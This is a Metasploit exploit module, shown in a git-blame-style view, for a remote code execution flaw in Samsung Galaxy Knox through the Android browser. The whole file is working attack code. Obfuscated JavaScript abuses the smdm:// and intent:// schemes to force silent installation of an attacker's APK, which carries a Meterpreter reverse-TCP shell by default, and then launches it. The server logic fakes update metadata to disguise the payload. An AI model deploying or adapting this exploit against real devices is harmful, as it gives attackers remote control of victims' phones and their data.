2014-11-12 15:53:20 +00:00
|
|
|
##
|
|
|
|
# This module requires Metasploit: http://metasploit.com/download
|
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
require 'digest/md5'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
|
|
|
|
include Msf::Exploit::Remote::BrowserExploitServer
|
|
|
|
|
2014-11-16 03:33:16 +00:00
|
|
|
# Hash that maps payload ID -> (0|1) if an HTTP request has
|
|
|
|
# been made to download a payload of that ID
|
|
|
|
attr_reader :served_payloads
|
|
|
|
|
2014-11-12 15:53:20 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2014-11-13 03:51:55 +00:00
|
|
|
'Name' => 'Samsung Galaxy Knox Android Browser RCE',
|
2014-11-12 15:53:20 +00:00
|
|
|
'Description' => %q{
|
|
|
|
A vulnerability exists in the Knox security component of the Samsung Galaxy
|
2014-11-13 03:51:55 +00:00
|
|
|
firmware that allows a remote webpage to install an APK with arbitrary
|
2014-11-12 15:53:20 +00:00
|
|
|
permissions.
|
|
|
|
|
|
|
|
The vulnerability has been confirmed in the Samsung Galaxy S4, S5, Note 3,
|
|
|
|
and Ace 4.
|
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' => [
|
|
|
|
'Andre Moulu', # discovery and advisory
|
|
|
|
'joev' # msf module
|
|
|
|
],
|
|
|
|
'References' => [
|
2014-11-12 16:56:51 +00:00
|
|
|
['URL', 'http://blog.quarkslab.com/abusing-samsung-knox-to-remotely-install-a-malicious-application-story-of-a-half-patched-vulnerability.html']
|
2014-11-12 15:53:20 +00:00
|
|
|
],
|
|
|
|
'Platform' => 'android',
|
|
|
|
'Arch' => ARCH_DALVIK,
|
|
|
|
'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
|
|
|
|
'Targets' => [ [ 'Automatic', {} ] ],
|
|
|
|
'DisclosureDate' => 'Nov 12 2014',
|
|
|
|
'DefaultTarget' => 0,
|
2014-11-17 08:02:37 +00:00
|
|
|
|
2014-11-12 15:53:20 +00:00
|
|
|
'BrowserRequirements' => {
|
|
|
|
:source => 'script',
|
2014-11-16 03:33:16 +00:00
|
|
|
:os_name => OperatingSystems::Match::ANDROID
|
2014-11-12 15:53:20 +00:00
|
|
|
}
|
|
|
|
))
|
|
|
|
|
|
|
|
register_options([
|
|
|
|
OptString.new('APK_VERSION', [
|
|
|
|
false, "The update version to advertise to the client", "1337"
|
|
|
|
])
|
|
|
|
], self.class)
|
|
|
|
|
|
|
|
deregister_options('JsObfuscate')
|
|
|
|
end
|
|
|
|
|
2014-11-16 03:33:16 +00:00
|
|
|
def exploit
|
|
|
|
@served_payloads = Hash.new(0)
|
|
|
|
super
|
|
|
|
end
|
|
|
|
|
|
|
|
def apk_bytes
|
|
|
|
payload.encoded
|
|
|
|
end
|
|
|
|
|
2014-11-12 15:53:20 +00:00
|
|
|
def on_request_uri(cli, req)
|
2014-11-16 03:33:16 +00:00
|
|
|
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
|
|
|
|
if req.method.upcase == 'HEAD'
|
|
|
|
print_status "Serving metadata..."
|
|
|
|
send_response(cli, '', magic_headers)
|
|
|
|
else
|
|
|
|
print_status "Serving payload '#{$1}'..."
|
|
|
|
@served_payloads[$1] = 1
|
|
|
|
send_response(cli, apk_bytes, magic_headers)
|
|
|
|
end
|
|
|
|
elsif req.uri =~ /_poll/
|
|
|
|
puts "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
|
|
|
|
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
|
|
|
|
elsif req.uri =~ /launch$/
|
|
|
|
send_response_html(cli, launch_html)
|
2014-11-12 15:53:20 +00:00
|
|
|
else
|
|
|
|
super
|
|
|
|
end
|
|
|
|
end
|
|
|
|
|
|
|
|
# The browser appears to be vulnerable, serve the exploit
|
|
|
|
def on_request_exploit(cli, req, browser)
|
|
|
|
print_status "Serving exploit..."
|
|
|
|
send_response_html(cli, generate_html)
|
|
|
|
end
|
|
|
|
|
|
|
|
def magic_headers
|
2014-11-16 03:33:16 +00:00
|
|
|
{ 'Content-Length' => apk_bytes.length,
|
|
|
|
'ETag' => Digest::MD5.hexdigest(apk_bytes),
|
2014-11-12 15:53:20 +00:00
|
|
|
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
|
|
|
|
end
|
|
|
|
|
|
|
|
def generate_html
|
|
|
|
%Q|
|
|
|
|
<!doctype html>
|
2014-11-16 03:33:16 +00:00
|
|
|
<html><body>
|
|
|
|
<script>
|
2014-11-12 15:53:20 +00:00
|
|
|
#{exploit_js}
|
|
|
|
</script></body></html>
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit_js
|
2014-11-16 03:33:16 +00:00
|
|
|
payload_id = rand_word
|
|
|
|
|
2014-11-12 15:53:20 +00:00
|
|
|
js_obfuscate %Q|
|
|
|
|
|
2014-11-16 03:33:16 +00:00
|
|
|
function poll() {
|
|
|
|
var xhr = new XMLHttpRequest();
|
|
|
|
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
|
|
|
|
xhr.onreadystatechange = function(){
|
|
|
|
if (xhr.readyState == 4) {
|
|
|
|
if (xhr.responseText == '1') {
|
|
|
|
setTimeout(killEnrollment, 100);
|
|
|
|
} else {
|
|
|
|
setTimeout(poll, 1000);
|
2014-11-16 03:39:37 +00:00
|
|
|
setTimeout(enroll, 0);
|
|
|
|
setTimeout(enroll, 500);
|
2014-11-16 03:33:16 +00:00
|
|
|
}
|
|
|
|
}
|
|
|
|
};
|
2014-11-16 03:39:37 +00:00
|
|
|
xhr.onerror = function(){
|
|
|
|
setTimeout(poll, 1000);
|
|
|
|
setTimeout(enroll, 0);
|
|
|
|
};
|
2014-11-16 03:33:16 +00:00
|
|
|
xhr.send();
|
|
|
|
}
|
|
|
|
|
|
|
|
function enroll() {
|
2014-11-12 15:53:20 +00:00
|
|
|
var loc = window.location.href.replace(/[/.]$/g, '');
|
2014-11-17 08:02:37 +00:00
|
|
|
top.location = 'smdm://#{rand_word}?update_url='+
|
2014-11-16 03:33:16 +00:00
|
|
|
encodeURIComponent(loc)+'/#{payload_id}.apk';
|
|
|
|
}
|
|
|
|
|
|
|
|
function killEnrollment() {
|
2014-11-17 08:02:37 +00:00
|
|
|
top.location = "intent://#{rand_word}?program="+
|
2014-11-16 03:33:16 +00:00
|
|
|
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
|
|
|
|
setTimeout(launchApp, 300);
|
|
|
|
}
|
|
|
|
|
|
|
|
function launchApp() {
|
2014-11-17 08:02:37 +00:00
|
|
|
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
|
2014-11-16 03:33:16 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
enroll();
|
|
|
|
setTimeout(poll,600);
|
2014-11-12 15:53:20 +00:00
|
|
|
|
|
|
|
|
|
|
|
|
end
|
|
|
|
|
|
|
|
def rand_word
|
|
|
|
Rex::Text.rand_text_alphanumeric(3+rand(12))
|
|
|
|
end
|
|
|
|
end
|